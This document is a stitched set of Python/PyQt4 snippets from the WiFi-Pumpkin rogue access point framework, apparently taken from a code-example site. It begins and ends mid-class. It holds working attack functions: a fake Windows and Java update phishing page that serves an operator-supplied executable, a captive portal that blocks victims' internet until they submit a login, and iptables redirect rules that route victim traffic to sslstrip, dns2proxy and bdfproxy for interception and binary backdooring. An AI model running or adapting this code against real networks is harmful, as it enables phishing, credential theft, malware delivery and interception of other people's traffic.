        # connect buttons
        self.btn_open.clicked.connect(self.getpath)
        self.btn_reload.clicked.connect(self.inter_get)
        self.btn_start_server.clicked.connect(self.server_start)
        self.btn_stop.clicked.connect(self.stop_attack)

        # radionButton
        self.rb_windows = QtGui.QRadioButton("Windows Update", self)
        self.rb_windows.setIcon(QtGui.QIcon("icons/winUp.png"))
        self.rb_adobe = QtGui.QRadioButton("Adobe Update", self)
        self.rb_adobe.setIcon(QtGui.QIcon("icons/adobe.png"))
        self.rb_java = QtGui.QRadioButton("Java Update", self)
        self.rb_java.setIcon(QtGui.QIcon("icons/java.png"))
        self.rb_adobe.setEnabled(False)
        self.layoutPage.addRow(self.rb_windows)
        self.layoutPage.addRow(self.rb_java)
        self.layoutPage.addRow(self.rb_adobe)

        # check interface
        self.layoutAdpter.addRow(self.cb_interface)
        self.layoutAdpter.addRow(self.btn_reload)

        self.layoutLogBox.addRow(self.logBox)

        self.layoutsplit = QtGui.QHBoxLayout()
        self.layoutsplit.addWidget(self.GroupPages)
        self.layoutsplit.addWidget(self.GroupAdpter)

        #grid 2
        self.grid1.addWidget(self.btn_start_server, 0, 2)
        self.grid1.addWidget(self.btn_stop, 0, 4)

        #form add layout
        self.form.addRow(self.path, self.btn_open)
        self.formfinal.addRow(self.GroupLogger)
        self.formfinal.addRow(self.grid1)
        self.formfinal.addRow(self.status)
        self.Main.addLayout(self.form)
        self.Main.addLayout(self.layoutsplit)
        self.Main.addLayout(self.formfinal)
        self.setLayout(self.Main)

    def removefiles(self):
        pathList = [
            'templates/fakeupdate/Windows_Update/index.html',
            'templates/fakeupdate/Windows_Update/windows-update.exe',
            'templates/fakeupdate/Java_Update/index.html',
            'templates/fakeupdate/Java_Update/java-update.exe'
        ]
        for i in pathList:
            if path.isfile(i): remove(i)

    def stop_attack(self):
        for i in threadloading['server']:
            i.stop()
        threadloading['server'] = []
        self.removefiles()
        self.logBox.clear()
        self.status.showMessage('')
        self.btn_stop.setEnabled(False)
        self.btn_start_server.setEnabled(True)

    def inter_get(self):
        self.refresh_interface(self.cb_interface)

    def refresh_interface(self, cb):
        cb.clear()
        n = Refactor.get_interfaces()['all']
        for i, j in enumerate(n):
            if n[i] != '':
                cb.addItem(n[i])

    def logPhising(self, log):
        self.logBox.addItem(log)
        self.logBox.scrollToBottom()

    def SettingsPage(self, pathPage, directory, filename, info):
        try:
            if path.isfile(directory + filename):
                remove(directory + filename)
            copyfile(self.path_file, directory + filename)
        except OSError as e:
            return QtGui.QMessageBox.warning(self, 'error', e)
        file_html = open(pathPage, 'r').read()
        if info:
            settings_html = file_html.replace(
                'KBlenfile',
                str(Refactor.getSize(self.path_file)) + 'KB')
        else:
            settings_html = file_html.replace(
                '{{Date}}', str(date.today().strftime("%A %d. %B %Y")))
        if path.isfile(directory + 'index.html'):
            remove(directory + 'index.html')
        confFile = open(directory + 'index.html', 'w')
        confFile.write(settings_html)
        confFile.close()
        ip = Refactor.get_Ipaddr(str(self.cb_interface.currentText()))
        if ip == None:
            return QtGui.QMessageBox.warning(
                self, 'Ip not found',
                'The IP Address was not found on the selected Network Adapter.'
            )
        self.btn_start_server.setEnabled(False)
        self.btn_stop.setEnabled(True)
        self.threadServer(directory, ip)

    def server_start(self):
        if len(self.path.text()) <= 0:
            return QtGui.QMessageBox.information(
                self, 'Path file Error', 'Error in get the file path.')
        if self.rb_windows.isChecked():
            return self.SettingsPage(
                'templates/fakeupdate/Settings_WinUpdate.html',
                'templates/fakeupdate/Windows_Update/', 'windows-update.exe',
                True)
        elif self.rb_java.isChecked():
            return self.SettingsPage('templates/fakeupdate/Settings_java.html',
                                     'templates/fakeupdate/Java_Update/',
                                     'java-update.exe', False)

        return QtGui.QMessageBox.information(
            self, 'Phishing settings',
            'Please select an option in the Phishing page:')

    def threadServer(self, directory, ip):
        global threadloading
        #self.threadHTTP.request.connect(self.logPhising)
        if self.rb_windows.isChecked():
            self.path_server = C.TEMP_Win
        elif self.rb_java.isChecked():
            self.path_server = C.TEMP_Java

        self.proc_Web_server = ProcessThread(
            {'python': ['-m', 'SimpleHTTPServer', '80']}, self.path_server)
        self.proc_Web_server._ProcssOutput.connect(self.logPhising)
        threadloading['server'].append(self.proc_Web_server)
        self.proc_Web_server.start()
        self.status.showMessage("::Started >> [HTTP::" + ip + " ::Port 80]")

    def getpath(self):
        files_types = "exe (*.exe);;jar (*.jar)"
        file = QtGui.QFileDialog.getOpenFileName(self, 'Open Executable file',
                                                 '', files_types)
        if len(file) > 0:
            self.path_file = file
            self.path.setText(file)
Beispiel #12
0
 def boot(self):
     self.reactor = ProcessThread({'python': self.commandargs})
     #self.reactor._ProcssOutput.connect(self.parent.get_dns2proxy_output)
     self.reactor._ProcssOutput.connect(self.LogOutput)
     self.reactor.setObjectName(self.Name)  # use dns2proxy as DNS server
Beispiel #13
0
class CaptivePortal(ProxyMode):
    ''' settings  Captive Portal Proxy '''
    Name = "Captive Portal"
    Author = "Pumpkin-Dev"
    Description = "Captive-Portal allow the Attacker block Internet access for users until they open the page login page where a password is required before being allowed to browse the web."
    Icon = "icons/captive_portal.png"
    ModSettings = True
    Hidden = False
    ModType = "proxy"  # proxy or server
    _cmd_array = []
    sendError = QtCore.pyqtSignal(str)

    def __init__(self, parent, **kwargs):
        super(CaptivePortal, self).__init__(parent)
        self.mainLayout = QtGui.QVBoxLayout()
        self.config = SettingsINI(C.CAPTIVEPORTAL_INI)
        self.plugins = []
        self.plugin_activated = None
        self.main_method = parent
        self.bt_SettingsDict = {}
        self.check_PluginDict = {}
        self.ClientsLogged = {}
        self.btn_previewSettings = {}
        self.search_all_ProxyPlugins()
        #scroll area
        self.scrollwidget = QtGui.QWidget()
        self.scrollwidget.setLayout(self.mainLayout)
        self.scroll = QtGui.QScrollArea()
        self.scroll.setWidgetResizable(True)
        self.scroll.setWidget(self.scrollwidget)
        self.dockwidget = CaptivePortalDock(None, title=self.Name)

        # create for add dock logging
        self.tabcontrol = QtGui.QTabWidget()
        self.tab1 = QtGui.QWidget()
        self.tab2 = QtGui.QWidget()
        self.page_1 = QtGui.QVBoxLayout(self.tab1)
        self.page_2 = QtGui.QVBoxLayout(self.tab2)

        self.tabcontrol.addTab(self.tab1, 'Plugins')
        self.tabcontrol.addTab(self.tab2, 'Manager')
        self.TabCtrlClients = QtGui.QTableWidget()
        self.TabCtrlClients.setColumnCount(3)
        #self.TabCtrlClients.setRowCount(len(self.plugins))
        self.TabCtrlClients.resizeRowsToContents()
        self.TabCtrlClients.setSizePolicy(QtGui.QSizePolicy.Preferred,
                                          QtGui.QSizePolicy.Preferred)
        self.TabCtrlClients.horizontalHeader().setStretchLastSection(True)
        self.TabCtrlClients.setSelectionBehavior(
            QtGui.QAbstractItemView.SelectRows)
        self.TabCtrlClients.setEditTriggers(
            QtGui.QAbstractItemView.NoEditTriggers)
        self.TabCtrlClients.verticalHeader().setVisible(False)
        self.TabCtrlClients.verticalHeader().setDefaultSectionSize(27)
        self.TabCtrlClients.setSortingEnabled(True)
        self.THeadersCtrlClients = OrderedDict([('IpAddress', []),
                                                ('MacAddress', []),
                                                ('Status Internet', [])])
        self.TabCtrlClients.setHorizontalHeaderLabels(
            self.THeadersCtrlClients.keys())

        self.mainLayout_settings = QtGui.QVBoxLayout()
        #scroll area
        self.scrollwidget_settings = QtGui.QWidget()
        self.scrollwidget_settings.setLayout(self.mainLayout_settings)
        self.scroll_settings = QtGui.QScrollArea()
        self.scroll_settings.setWidgetResizable(True)
        self.scroll_settings.setWidget(self.scrollwidget_settings)

        # create widgets
        self.argsLabel = QtGui.QLabel('')
        self.hBox = QtGui.QHBoxLayout()
        self.btnEnable = QtGui.QPushButton('Allow')
        self.btncancel = QtGui.QPushButton('Deny')

        # size buttons
        self.btnEnable.setFixedWidth(100)
        self.btncancel.setFixedWidth(100)

        self.comboxBoxIPAddress = QtGui.QComboBox()
        self.btncancel.setIcon(QtGui.QIcon('icons/cancel.png'))
        self.btnEnable.setIcon(QtGui.QIcon('icons/accept.png'))

        # group settings
        self.GroupSettings = QtGui.QGroupBox()
        self.GroupSettings.setTitle('Manage clients access:')
        self.SettingsLayout = QtGui.QFormLayout()
        self.hBox.addWidget(self.comboxBoxIPAddress)
        self.hBox.addWidget(self.btnEnable)
        self.hBox.addWidget(self.btncancel)
        self.SettingsLayout.addRow(self.hBox)
        self.GroupSettings.setLayout(self.SettingsLayout)
        #self.GroupSettings.setFixedWidth(450)

        #group logger
        self.GroupLogger = QtGui.QGroupBox()
        self.logger_portal = QtGui.QListWidget()
        self.GroupLogger.setTitle('Logger events:')
        self.LoggerLayout = QtGui.QVBoxLayout()
        self.LoggerLayout.addWidget(self.logger_portal)
        self.GroupLogger.setLayout(self.LoggerLayout)
        #self.GroupLogger.setFixedWidth(450)

        #connections
        # self.btnLoader.clicked.connect(self.SearchProxyPlugins)
        self.connect(self.comboxBoxIPAddress,
                     QtCore.SIGNAL('currentIndexChanged(QString)'),
                     self.checkStatusClient)
        self.btnEnable.clicked.connect(self.enableInternetConnection)
        self.btncancel.clicked.connect(self.disableInternetConnection)
        # self.btnbrownser.clicked.connect(self.get_filenameToInjection)
        # add widgets
        self.mainLayout_settings.addWidget(self.GroupSettings)
        self.mainLayout_settings.addWidget(self.GroupLogger)

        self.TabPlugins = QtGui.QTableWidget()
        self.TabPlugins.setColumnCount(5)
        self.TabPlugins.setRowCount(len(self.plugins))
        self.TabPlugins.resizeRowsToContents()
        self.TabPlugins.setSizePolicy(QtGui.QSizePolicy.Preferred,
                                      QtGui.QSizePolicy.Preferred)
        self.TabPlugins.horizontalHeader().setStretchLastSection(True)
        self.TabPlugins.setSelectionBehavior(
            QtGui.QAbstractItemView.SelectRows)
        self.TabPlugins.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers)
        self.TabPlugins.verticalHeader().setVisible(False)
        self.TabPlugins.verticalHeader().setDefaultSectionSize(27)
        self.TabPlugins.setSortingEnabled(True)
        self.THeaders = OrderedDict([('Captive Name', []), ('Preview', []),
                                     ('Author', []), ('Settings', []),
                                     ('Description', [])])
        self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys())
        self.TabPlugins.horizontalHeader().resizeSection(0, 158)
        self.TabPlugins.horizontalHeader().resizeSection(1, 80)

        # add on tab
        self.page_1.addWidget(self.TabPlugins)
        self.page_2.addWidget(self.scroll_settings)

        # get all plugins and add into TabWidget
        Headers = []
        for plugin in self.plugins:
            if plugin.ConfigParser:
                self.bt_SettingsDict[plugin.Name] = QtGui.QPushButton(
                    'Settings')
                self.bt_SettingsDict[plugin.Name].clicked.connect(
                    partial(self.setSettingsPlgins, plugin.Name))
            else:
                self.bt_SettingsDict[plugin.Name] = QtGui.QPushButton('None')

            if (path.isfile(plugin.Preview)):
                self.btn_previewSettings[plugin.Name] = QtGui.QPushButton(
                    'Preview')
                self.btn_previewSettings[plugin.Name].setObjectName(
                    plugin.Preview)
                self.btn_previewSettings[plugin.Name].clicked.connect(
                    partial(self.showPreviewCaptivePortal, plugin.Name))
            else:
                self.btn_previewSettings[plugin.Name] = QtGui.QPushButton(
                    'Not found')

            self.check_PluginDict[plugin.Name] = QtGui.QRadioButton(
                plugin.Name)
            self.check_PluginDict[plugin.Name].setObjectName(plugin.Name)
            self.check_PluginDict[plugin.Name].clicked.connect(
                partial(self.setPluginOption, plugin.Name))
            self.THeaders['Captive Name'].append(
                self.check_PluginDict[plugin.Name])
            self.THeaders['Preview'].append(
                self.btn_previewSettings[plugin.Name])
            self.THeaders['Author'].append(plugin.Author)
            self.THeaders['Settings'].append({'name': plugin.Name})
            self.THeaders['Description'].append(plugin.Description)
        for n, key in enumerate(self.THeaders.keys()):
            Headers.append(key)
            for m, item in enumerate(self.THeaders[key]):
                if type(item) == type(QtGui.QRadioButton()):
                    self.TabPlugins.setCellWidget(m, n, item)
                elif type(item) == type(dict()):
                    self.TabPlugins.setCellWidget(
                        m, n, self.bt_SettingsDict[item['name']])
                elif type(item) == type(QtGui.QPushButton()):
                    self.TabPlugins.setCellWidget(m, n, item)
                else:
                    item = QtGui.QTableWidgetItem(item)
                    self.TabPlugins.setItem(m, n, item)
        self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys())

        # check status all checkbox plugins
        for box in self.check_PluginDict.keys():
            self.check_PluginDict[box].setChecked(
                self.config.get_setting('plugins', box, format=bool))

        self.btn_updateCaptive = QtGui.QPushButton("Update")
        self.btn_updateCaptive.setIcon(QtGui.QIcon('icons/updates_.png'))
        self.btn_updateCaptive.setFixedWidth(130)
        self.btn_updateCaptive.clicked.connect(self.disableBtnForUpdates)

        self.mainLayout.addWidget(self.tabcontrol)
        self.mainLayout.addWidget(self.btn_updateCaptive)
        self.layout = QtGui.QHBoxLayout()
        self.layout.addWidget(self.scroll)
        self.setLayout(self.layout)

    def disableBtnForUpdates(self):
        ''' update captive portals from github '''
        self.btn_updateCaptive.setEnabled(False)
        self.btn_updateCaptive.setText('Downloading...')
        QtCore.QTimer.singleShot(3000, lambda: self.downloadCaptiveportals())

    def downloadCaptiveportals(self):
        ''' check interfaces on background '''
        try:
            data_file = urlopen(C.EXTRACAPTIVETHEMES)
            with open(C.CAPTIVETHEMESZIP, 'wb') as output:
                output.write(data_file.read())
        except Exception as e:
            self.btn_updateCaptive.setEnabled(True)
            self.btn_updateCaptive.setText('Update')
            return QtGui.QMessageBox.information(self, 'Error: Download data ',
                                                 str(e))

        zip_ref = ZipFile(C.CAPTIVETHEMESZIP, 'r')
        zip_ref.extractall(C.TEMPPATH)
        zip_ref.close()

        source_path_templates = C.CAPTIVEPATH_TMP_TEMPLATES
        source_path_plugins = C.CAPTIVEPATH_TMP_PLUGINS
        config_captive = SettingsINI(C.PATHCAPTIVEFINI)

        for plugin in config_captive.get_all_childname('plugins'):
            if (not plugin in self.config.get_all_childname('plugins')):

                system('cp -r {src} {dst}'.format(
                    src=source_path_templates + plugin,
                    dst=C.CAPTIVE_PATH_TEMPLATES))
                self.config.set_setting('plugins', plugin, False)

                for subplugin in config_captive.get_all_childname(
                        'set_{}'.format(plugin)):
                    if subplugin != 'Default':
                        self.config.set_setting('set_{}'.format(plugin),
                                                subplugin, False)
                    else:
                        self.config.set_setting('set_{}'.format(plugin),
                                                subplugin, True)

                system('cp {src} {dst}'.format(src='{}{}.py'.format(
                    source_path_plugins, plugin),
                                               dst=C.CAPTIVE_PATH_PLUGINS))

        self.btn_updateCaptive.setEnabled(True)
        self.btn_updateCaptive.setText('Update')
        QtGui.QMessageBox.information(
            self, 'Update Captive-Portals',
            "Already up-to-date. Please restart WiFi-Pumpkin to apply this update."
        )

    def enableInternetConnection(self):
        ipaddress = str(self.comboxBoxIPAddress.currentText())
        exec_bash('iptables -D FORWARD -s {ip} -j REJECT'.format(ip=ipaddress))
        exec_bash('iptables -I FORWARD -s {ip} -j ACCEPT'.format(ip=ipaddress))
        self.btnEnable.setEnabled(False)
        self.btncancel.setEnabled(True)
        self.ClientsLogged[ipaddress]['Status'] = True
        self.logger_portal.addItem(
            'Allow access the internet to {}'.format(ipaddress))

    def disableInternetConnection(self):
        ipaddress = str(self.comboxBoxIPAddress.currentText())
        exec_bash('iptables -D FORWARD -s {ip} -j ACCEPT'.format(ip=ipaddress))
        exec_bash('iptables -I FORWARD -s {ip} -j REJECT'.format(ip=ipaddress))
        self.btnEnable.setEnabled(True)
        self.btncancel.setEnabled(False)
        self.ClientsLogged[ipaddress]['Status'] = False
        self.logger_portal.addItem(
            'Deny access the internet to {}'.format(ipaddress))

    def checkStatusClient(self):
        if (str(self.comboxBoxIPAddress.currentText()) != ''):
            if (self.ClientsLogged[str(
                    self.comboxBoxIPAddress.currentText())]['Status']):
                self.btnEnable.setEnabled(False)
                self.btncancel.setEnabled(True)
                return None
            self.btnEnable.setEnabled(True)
            self.btncancel.setEnabled(False)

    def showPreviewCaptivePortal(self, plugin, status):
        self.preview_form = CaptivePortalPreviewImage(
            plugin, self.btn_previewSettings[plugin].objectName())
        self.preview_form.show()

    def search_all_ProxyPlugins(self):
        ''' load all plugins function '''
        plugin_classes = plugin.CaptiveTemplatePlugin.__subclasses__()
        for p in plugin_classes:
            self.plugins.append(p())

    def setSettingsPlgins(self, plugin):
        ''' open settings options for each plugins'''
        key = 'set_{}'.format(plugin)
        self.widget = CaptivePortalSettings(key,
                                            self.config.get_all_childname(key))
        self.widget.show()

    def getPluginActivated(self):
        for plugin in self.plugins:
            if (self.config.get_setting('plugins', plugin.Name, format=bool)):
                self.plugin_activated = plugin
        self.plugin_activated.initialize()  # change language if exist
        return self.plugin_activated

    def shutdown(self):
        self.logger_portal.clear()
        self.comboxBoxIPAddress.clear()
        self.ClearRules()
        self.ClientsLogged = {}

    def boot(self):

        # self.reactor = ThreadCaptivePortalHTTPServer('0.0.0.0',80,plugin_activated,self.parent.currentSessionID)
        # self.reactor.requestCredentails.connect(self.LogOutput)
        # self.reactor.requestLogin.connect(self.allowAccessLogin)
        # self.reactor.setObjectName(self.Name)

        self.reactor = ProcessThread(
            {
                'python': [
                    "server.py", '-t',
                    self.getPluginActivated().TemplatePath, '-r',
                    self.parent.SessionConfig.DHCP.conf['router'], '-s',
                    self.getPluginActivated().StaticPath
                ]
            }, "plugins/captivePortal/")
        self.reactor._ProcssOutput.connect(self.LogOutput)
        self.reactor.setObjectName(self.Name)

        # settings iptables for add support captive portal
        IFACE = self.parent.SessionConfig.Wireless.WLANCard.currentText()
        IP_ADDRESS = self.parent.SessionConfig.DHCP.conf['router']
        PORT = 80

        print('[*] Settings for captive portal:')
        print(" -> Allow FORWARD UDP DNS")
        self.search[self.Name + "_forward"] = str(
            'iptables -A FORWARD -i {iface} -p tcp --dport 53 -j ACCEPT'.
            format(iface=IFACE))
        print(" -> Allow traffic to captive portal")
        self.search[self.Name + "_allow"] = str(
            'iptables -A FORWARD -i {iface} -p tcp --dport {port} -d {ip} -j ACCEPT'
            .format(iface=IFACE, port=PORT, ip=IP_ADDRESS))
        print(" -> Block all other traffic in access point")
        self.search[self.Name + "_block"] = str(
            'iptables -A FORWARD -i {iface} -j DROP '.format(iface=IFACE))
        print(" -> Redirecting HTTP traffic to captive portal")
        self.search[self.Name + "redirect"] = str(
            'iptables -t nat -A PREROUTING -i {iface} -p tcp --dport 80 -j DNAT --to-destination {ip}:{port}'
            .format(iface=IFACE, ip=IP_ADDRESS, port=PORT))

        self.SetRules(self.Name + "_forward")
        self.SetRules(self.Name + "_allow")
        self.SetRules(self.Name + "_block")
        self.SetRules(self.Name + "redirect")

        # print('[*] Settings for captive portal:')
        # print(" -> Allow FORWARD UDP DNS")
        # call(["iptables", "-A", "FORWARD", "-i", IFACE, "-p", "udp", "--dport", "53", "-j" ,"ACCEPT"])
        # print(" -> Allow traffic to captive portal")
        # call(["iptables", "-A", "FORWARD", "-i", IFACE, "-p", "tcp", "--dport", str(PORT),"-d", IP_ADDRESS, "-j" ,"ACCEPT"])
        # print(" -> Block all other traffic in access point")
        # call(["iptables", "-A", "FORWARD", "-i", IFACE, "-j" ,"DROP"])
        # print(" -> Redirecting HTTP traffic to captive portal")
        # call(["iptables", "-t", "nat", "-A", "PREROUTING", "-i", IFACE, "-p", "tcp", "--dport", "80", "-j" ,"DNAT", "--to-destination", "{}:{}".format(IP_ADDRESS, PORT)])

    def addClientCtrlManager(self, IPADDRESS):
        ''' get data output and add on QtableWidgets'''
        #for name in self.pluginsName:
        clientsTabHome = self.parent.Home.DHCP.ClientTable.APclients
        self.ClientsLogged[IPADDRESS] = {'MAC': 'unknow', 'Status': True}
        for mac_address in clientsTabHome.keys():
            if (clientsTabHome[mac_address]['IP'] == IPADDRESS):
                self.ClientsLogged[IPADDRESS]['MAC'] = clientsTabHome[
                    mac_address]['MAC']

        self.comboxBoxIPAddress.addItems([IPADDRESS])
        self.logger_portal.addItem(
            'Authorized user: [ IP: {} MAC: {} ]'.format(
                IPADDRESS, self.ClientsLogged[IPADDRESS]['MAC']))

    def LogOutput(self, data):
        if self.FSettings.Settings.get_setting('accesspoint',
                                               'statusAP',
                                               format=bool):
            self.dockwidget.writeModeData(data, self.plugin_activated.Name)
            self.logger.info(data)

            try:
                dict_data = literal_eval(data)
                self.addClientCtrlManager(dict_data.keys()[0])
            except Exception:
                pass

    def setPluginOption(self, name, status):
        ''' get each plugins status'''
        self.config.set_setting('plugins', name, status)
        for plugin in self.plugins:
            if (plugin.Name != name):
                self.config.set_setting('plugins', plugin.Name, False)

    def Serve(self, on=True):
        pass

    def onProxyEnabled(self):
        self.SetRules(self.Name)
Beispiel #14
0
class ProxyMode(Widget,ComponentBlueprint):
    Name = "Generic"
    Author = "Wahyudin Aziz"
    Description = "Generic Placeholder for Attack Scenario"
    Icon = "icons/plugins-new.png"
    LogFile = C.LOG_ALL
    ModSettings = False
    ModType = "proxy" # proxy or server
    EXEC_PATH = ''
    _cmd_array = []
    Hidden = True
    plugins = []
    sendError = QtCore.pyqtSignal(str)
    sendSingal_disable = QtCore.pyqtSignal(object)
    addDock=QtCore.pyqtSignal(object)
    TypePlugin = 1 #  1 radio  and != 1  for checkbox


    def __init__(self,parent):
        super(ProxyMode, self).__init__()
        self.parent = parent
        self.FSettings = SuperSettings.getInstance()
        self.server = ThreadReactor()
        setup_logger(self.Name,self.LogFile,self.parent.currentSessionID)
        self.logger  = getLogger(self.Name)
        self.handler = None
        self.reactor = None
        self.subreactor = None
        self.search = {
            'sslstrip': str('iptables -t nat -A PREROUTING -p tcp' +
                            ' --destination-port 80 -j REDIRECT --to-port ' + self.FSettings.redirectport.text()),
            'dns2proxy': str('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53'),
            'bdfproxy': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080'),
            'PumpkinProxy': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080')
            }

        self.search[self.Name]=self.iptablesrules
        self.popup = QtGui.QWidget()
        self.tabinterface = QtGui.QListWidgetItem()
        self.tabinterface.setText(self.Name)
        self.tabinterface.setSizeHint(QtCore.QSize(30, 30))
        self.tabinterface.setIcon(QtGui.QIcon(self.Icon))
        self.ConfigWindow = OptionDialog(self)
        self.ConfigWindow.setWindowTitle("{} Proxy Settings".format(self.Name))

        if (self.TypePlugin == 1):
            self.controlui = QtGui.QRadioButton(self.Name)
            self.controlui.setObjectName(QtCore.QString(self.Description))
            self.controlui.setChecked(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool))
            self.controlui.toggled.connect(self.CheckOptions)
        else:
            self.controlui = QtGui.QCheckBox(self.Name)
            self.controlui.setObjectName(QtCore.QString(self.Description))
            self.controlui.setChecked(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool))
            self.controlui.toggled.connect(self.CheckOptions)

        #self.controlui.clicked.connect(self.CheckOptions)
        self.setEnabled(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool))

        self.btnChangeSettings = QtGui.QPushButton("None")
        self.btnChangeSettings.setEnabled(False)

        if self.ModSettings:
            self.btnChangeSettings.setEnabled(self.controlui.isChecked())
            self.btnChangeSettings.setText("Change")
            self.btnChangeSettings.setIcon(QtGui.QIcon('icons/config.png'))
            self.btnChangeSettings.clicked.connect(self.Configure)
        #TODO Update parent Proxy Status When Loading


        self.dockwidget = Dockable(None,title=self.Name)
        #self.dockwidget.addDock.emit(self.controlui.isChecked())
        self.mainLayout = QtGui.QFormLayout()
        self.scrollwidget = QtGui.QWidget()
        self.scrollwidget.setLayout(self.mainLayout)
        self.scroll = QtGui.QScrollArea()
        self.scroll.setWidgetResizable(True)
        self.scroll.setWidget(self.scrollwidget)
        self.layout = QtGui.QHBoxLayout()
        self.layout.addWidget(self.scroll)
    @property
    def iptablesrules(self):
        pass

    @property
    def Wireless(self):
        return AccessPointSettings.instances[0]
    def get_disable_status(self):
        if self.FSettings.Settings.get_setting('plugins', self.Name, format=bool) == True:
            if self.Name == "No Proxy":
                self.ClearRules()
                self.parent.set_proxy_statusbar('', disabled=True)
                self.sendSingal_disable.emit(self.controlui.isChecked())
                return

            self.parent.set_proxy_statusbar(self.Name)
    def onProxyEnabled(self):
        pass
    def onProxyDisabled(self):
        pass
    @property
    def hasSettings(self):
        return self.ModSettings
    def CheckOptions(self):
        self.FSettings.Settings.set_setting('plugins', self.Name, self.controlui.isChecked())
        self.dockwidget.addDock.emit(self.controlui.isChecked())
        self.get_disable_status()
        self.ClearRules()
        self.Initialize()
        if self.ModSettings:
            self.btnChangeSettings.setEnabled(self.controlui.isChecked())
        if self.controlui.isChecked() == True:
            self.setEnabled(True)
            self.onProxyEnabled()
            self.tabinterface.setText("[ {} ]".format(self.Name))

        else:
            self.onProxyDisabled()
            self.setEnabled(False)
            self.tabinterface.setText(self.Name)

    @property
    def CMD_ARRAY(self):
        self._cmd_array.extend(self.parent.currentSessionID)
        return  self._cmd_array
    def boot(self):
        self.reactor= ProcessThread({'python': self.CMD_ARRAY})
        self.reactor._ProcssOutput.connect(self.LogOutput)
        self.reactor.setObjectName(self.Name)
    def shutdown(self):
        self.ClearRules()
    @property
    def isEnabled(self):
        pass
        
    def Initialize(self):
        pass

    def optionsRules(self,type):
        ''' add rules iptable by type plugins'''
        return self.search[type]

    def SetRules(self,strrules=""):
        items = []
        for index in xrange(self.FSettings.ListRules.count()):
            items.append(str(self.FSettings.ListRules.item(index).text()))
        if self.optionsRules(strrules) in items:
            return
        if (self.optionsRules(strrules) != None):
            item = QtGui.QListWidgetItem()
            item.setText(self.optionsRules(strrules))
            item.setSizeHint(QtCore.QSize(30, 30))
            self.FSettings.ListRules.addItem(item)

    def ClearRules(self):
        for rules in self.search.keys():
            self.unset_Rules(rules)
    def LogOutput(self,data):
        if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool):
            try:
                data = str(data).split(' : ')[1]
                for line in data.split('\n'):
                    if len(line) > 2 and not self.parent.currentSessionID in line:
                        self.dockwidget.writeModeData(line)
                        self.logger.info(line)
            except IndexError:
                return None
    def Configure(self):
        self.ConfigWindow.show()

    def unset_Rules(self,iptables):
        ''' remove rules from Listwidget in settings widget'''
        items = []
        for index in xrange(self.FSettings.ListRules.count()):
            items.append(str(self.FSettings.ListRules.item(index).text()))
        for position,line in enumerate(items):
            if self.optionsRules(iptables) == line:
                self.FSettings.ListRules.takeItem(position)
    def SaveLog(self):
        pass
    def Serve(self,on=True):
        pass
Beispiel #15
0
class DNSBase(QtGui.QWidget, ComponentBlueprint):
    Name = "DNSBaseClass"
    ID = "DNSBase"
    ConfigRoot = "DNSServer"
    ExecutableFile = ""
    hasPreference = False
    arguments = [
        ['label', 'switch', 'type', 'defaultvalue', 'enabled', 'required'],
    ]

    addDock = QtCore.pyqtSignal(object)

    def __init__(self, parent, **kwargs):
        super(DNSBase, self).__init__(parent)
        self.parent = parent
        self.FSettings = SuperSettings.getInstance()
        self.SessionConfig = SessionConfig.getInstance()
        self.dockwidget = DNSDock(self, title=self.Name)
        self.reactor = None
        self.LogFile = "logs/AccessPoint/{}.log".format(self.ID)
        self.DialogParams = OptionDialog(self)

        setup_logger(self.Name, self.LogFile, self.parent.currentSessionID)
        self.logger = getLogger(self.Name)

        self.btnsettings = QtGui.QPushButton("Parameters")
        self.btnsettings.clicked.connect(self.showarguments)
        self.btnsettings.setMaximumWidth(100)
        self.btnsettings.setMaximumHeight(30)
        self.controlui = QtGui.QRadioButton("{}".format(self.Name))
        self.controlui.toggled.connect(self.controluiCallback)
        self.controlui.setChecked(
            self.FSettings.Settings.get_setting(self.ConfigRoot,
                                                self.ID,
                                                format=bool))
        self.controluiCallback()

    def showarguments(self):
        self.DialogParams.show()

    def controluiCallback(self):
        self.FSettings.Settings.set_setting(self.ConfigRoot, self.ID,
                                            self.controlui.isChecked())
        self.btnsettings.setEnabled(self.controlui.isChecked())
        self.dockwidget.addDock.emit(self.controlui.isChecked())

    @property
    def commandargs(self):
        pass

    @property
    def command(self):
        cmdpath = os.popen('which {}'.format(
            self.ExecutableFile)).read().split('\n')[0]
        if cmdpath:
            return cmdpath
        else:
            return None

    def boot(self):
        self.reactor = ProcessThread({self.command: self.commandargs})
        self.reactor._ProcssOutput.connect(self.LogOutput)
        self.reactor.setObjectName(self.Name)  # use dns2proxy as DNS server

    def LogOutput(self, data):
        if self.FSettings.Settings.get_setting('accesspoint',
                                               'statusAP',
                                               format=bool):
            try:
                data = str(data).split(' : ')[1]
                for line in data.split('\n'):
                    if len(line
                           ) > 2 and not self.parent.currentSessionID in line:
                        self.dockwidget.writeModeData(line)
                        self.logger.info(line)
            except IndexError:
                return None
class frm_PhishingManager(QtGui.QWidget):
    def __init__(self, parent=None):
        super(frm_PhishingManager, self).__init__(parent)
        self.label = QtGui.QLabel()
        self.Main = QtGui.QVBoxLayout()
        self.config = frm_Settings()
        self.session = str()
        self.setWindowTitle('Phishing Manager')
        self.ThreadTemplates = {'Server': []}
        self.setGeometry(0, 0, 630, 100)
        self.loadtheme(self.config.get_theme_qss())
        self.center()
        self.UI()

    def loadtheme(self, theme):
        sshFile = ('core/%s.qss' % (theme))
        with open(sshFile, "r") as fh:
            self.setStyleSheet(fh.read())

    def center(self):
        frameGm = self.frameGeometry()
        centerPoint = QtGui.QDesktopWidget().availableGeometry().center()
        frameGm.moveCenter(centerPoint)
        self.move(frameGm.topLeft())

    def StatusServer(self, bool):
        if bool:
            self.statusLabel.setText("[ON]")
            self.statusLabel.setStyleSheet("QLabel {  color : green; }")
        else:
            self.statusLabel.setText("[OFF]")
            self.statusLabel.setStyleSheet("QLabel {  color : red; }")

    def UI(self):
        self.statusBar = QtGui.QStatusBar()
        self.statusLabel = QtGui.QLabel('')
        self.statusBar.addWidget(QtGui.QLabel('Status HTTP Server::'))
